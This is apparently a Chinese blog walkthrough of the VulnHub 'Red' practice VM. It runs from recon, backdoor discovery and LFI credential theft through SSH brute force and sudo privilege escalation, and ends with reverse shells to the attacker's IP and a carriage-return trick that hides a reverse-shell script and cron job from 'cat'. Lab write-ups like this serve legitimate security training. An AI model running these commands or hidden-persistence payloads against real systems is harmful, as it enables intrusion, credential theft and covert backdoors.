靶机下载地址:https://www.vulnhub.com/entry/red-1,753/
教程链接地址 1:https://readysetexploit.wordpress.com/2021/11/02/hacking-lab-red/
教程链接地址 2:https://blog.csdn.net/YouthBelief/article/details/122458705

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 RED:桥接于 192.168.31.1 的网卡,ip 未知

  1. 通过 netdiscover 扫描当前网卡里边有哪些机器
    sudo netdiscover -i eth0 -r 192.168.31.0/24

  2. 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描

1
2
3
4
5
# shell
cat > myip.txt << EOF
192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33
192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44
EOF
  1. 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
    sudo nmap -PA 192.168.31.107 --excludefile myip.txt
Image

-> 目标机器的 ip 地址: 192.168.31.14

  1. 确认靶机 ip 开放的端口信息

sudo nmap -A -p- 192.168.31.14 -oN /tmp/red.txt

Image

-> 靶机开放端口 22, 80

# 修改本地 hosts

打开 http://192.168.31.14 进行信息收集

点击 “Hello Blue” 发现一个跳转界面,无法打开
Image

修改本地 hosts 文件 /etc/hosts, 改变 DNS 解析记录
192.168.31.14 redrocks.win
Image

重新打开 url 地址,发现这里说网站已被攻击,并且有后门文件
http://redrocks.win/2021/10/24/hello-world/

审查源代码,找到 Mr.Miessler 这个提示

通过搜索,找到了这个人是 SecLists 的开发者
Image

# seclists 字典

Seclists 是一个全面的字典,包括用户名、密码、URL、敏感数据模式、模糊测试负载、Web Shell 等等,在 kali 中 apt - y install seclists 安装,我们现在要想办法扫出来已被攻击服务器上的后门文件

1
2
# 利用gobuster加载seclists中的通用后门字典进行扫描。
gobuster dir -u http://redrocks.win/ -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x php,txt,html

找到一个后门文件 NetworkFileManagerPHP.php
Image

这应该就是后门文件了,但是我们没有参数值,需要爆破

# wfuzz 爆破参数

1
2
# 利用wfuzz加载seclists中的爆破参数名字的字典进行爆破
wfuzz -c -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=xxx -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
Image

得到的结果是 key 的返回值是 200
-> 可以构造 http://redrocks.win/NetworkFileManagerPHP.php?key=xxx 访问

# lfi 文件包含漏洞

尝试使用文件包含协议进行访问敏感文件

http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd

尝试获取 NetworkFileManagerPHP.php 的源码
http://redrocks.win/NetworkFileManagerPHP.php?key=NetworkFileManagerPHP.php

发现内容显示不了,我们需要配合其他协议

尝试用 php://filter/read=convert.base6 4 - encode/resource=xxx.php
的 filter 协议去读取一些敏感文件
http://redrocks.win/NetworkFileManagerPHP.php/NetworkFileManagerPHP.php?key
=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php

对字符串进行 base64 解密

继续读取文件,发现暗藏了一个 base64 密文,再次解密

这里说是 “这个密码并不能帮助您!Hashcat 说规则就是规则”

由于网站是 wordpress 搭建的,我们可以去访问数据库信息获取一些配置文
件,我们通过文件包含漏洞访问 wp-config.php 查看配置文件信息
http://redrocks.win/NetworkFileManagerPHP.php/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php

通过 echo “xx” | base64 - d 的方式解密,得到数据库配置信息
Image

-> 用户名:john 密码:R3v_m4lwh3r3_k1nG!!

# hashcut 使用

hashcat 生成密码对应的字典,hydra 连接 ssh
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > pass2.txt
Image

用 hydra 选择用户 john,密码为 hashcat 生成的字典进行连接 ssh
hydra -l john -P pass2.txt ssh://192.168.31.14 -f -t 4 -vV -o hydra.ssh
Image

-> 用户名:join 密码:R3v_m4lwh3r3_k1nG!!21

# sudo (time) 提权

尝试登陆服务器的时候,发现密码是错误的
Image

再次用 hydra 破解 ssh 爆破,果然得到了不一样的密码,可能密码会定时修改
Image

登陆服务器,sudo -l 发现有 time 可提权
https://gtfobins.github.io/ 上找到提权命令,进行权限升级
sudo -u ippsec /usr/bin/time /bin/bash
Image

此会话窗口不稳定,间断性的被中断,而且密码每隔一段时间都会被修改,因此我们需要反弹出来一个稳定的 shell
Image

bash -i >& /dev/tcp/192.168.31.135/4445 0>&1
通过此命令反弹出来的 shell 仍然会被中断

1
2
3
4
5
6
7
8
9
# 选择加载到/dev/shm/中来反弹shell,命令cat被改写用echo替代
echo '#!/bin/bash' > /dev/shm/shell.sh
echo 'bash -i >& /dev/tcp/192.168.31.135/4445 0>&1' >> /dev/shm/shell.sh
chmod +x /dev/shm/shell.sh
/dev/shm/shell.sh

python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo;fg
export TERM=xterm
Image

当原来的终端再次被强制退出的时候,我们的新终端貌似也出了一些意外

我们只需要再次输入 python3 -c ‘import pty;pty.spawn ("/bin/bash")’, 即可获得一个标准化的终端
Image

# pspy64s 监控

1
2
# 寻找一些ippsec可以访问的东西
find / -group ippsec -type d 2>/dev/null | grep -v proc
Image

发现我们可以访问位于 wordpress 目录中的 .git 目录
我们的终端一直在弹出消息,而且这个消息是在 ippsec 上执行的

1
2
3
4
5
# 现在我们可以运行pspy64s检查 Red 是否正在执行我们在/var/www/wordpress/.git 目录中找到的文件
wget https://github.com/DominicBreuker/pspy/archive/refs/heads/master.zip
python -m http.server 80
wget 192.168.31.135/pspy64s
./pspy64s
Image

看到 /usr/bin/gcc/var/www/wordpress/.git/supersecretfileuc.c -o /var/www/wordpress/.git/rev 被执行

现在我们已经很明确了,supersecretfileuc.c 这个文件会被执行
而且是调用 root 权限去执行的这个文件,需要一个 c 的反弹 shell 的代码

# 各种语言反弹

各种语言反弹 shell 的代码:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#c

重新编辑 supersecretfileuc.c 这个文件
Image

并在 4444 端口出监听
Image

-> 至此拿到了 root 权限,提权成功

# cat 配合 cron 维权

1
2
3
4
5
6
7
编写python程序显示如下内容:
evil = "bash -i >& /dev/tcp/192.168.31.135/4444 0>&1"
normal = "echo 'Hello world!'"
with open("/root/.test.sh", "w") as f:
output = "#!/bin/bash\n"
output += normal + ";" + evil + " #\r" + normal + " " * (len(evil) + 3) + "\n"
f.write(output)
Image
1
2
python3 -m http.server 80
wget 192.168.31.135/1.py
Image
1
2
3
4
5
#用py执行此文件后,会生成 /root/.test.sh
#使用cat看的时候看不到 payload,但使用more 或者 cat -A 就会暴露

rm -f 1.py && chmod +x /root/.test.sh
mv /root/test.sh /root/.test.sh && /root/.test.sh
Image
1
2
成功反弹出去,实现了cat隐藏木马,将此文件加入到计划文件中:
(crontab - l;printf "*/1 * * * * /root/.test.sh;\rno crontab for `whoami`%100c\n")|crontab -

-> cron 中同样是被隐藏的计划任务,只要我们 nc -lvvp 4449 等待上线即可

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝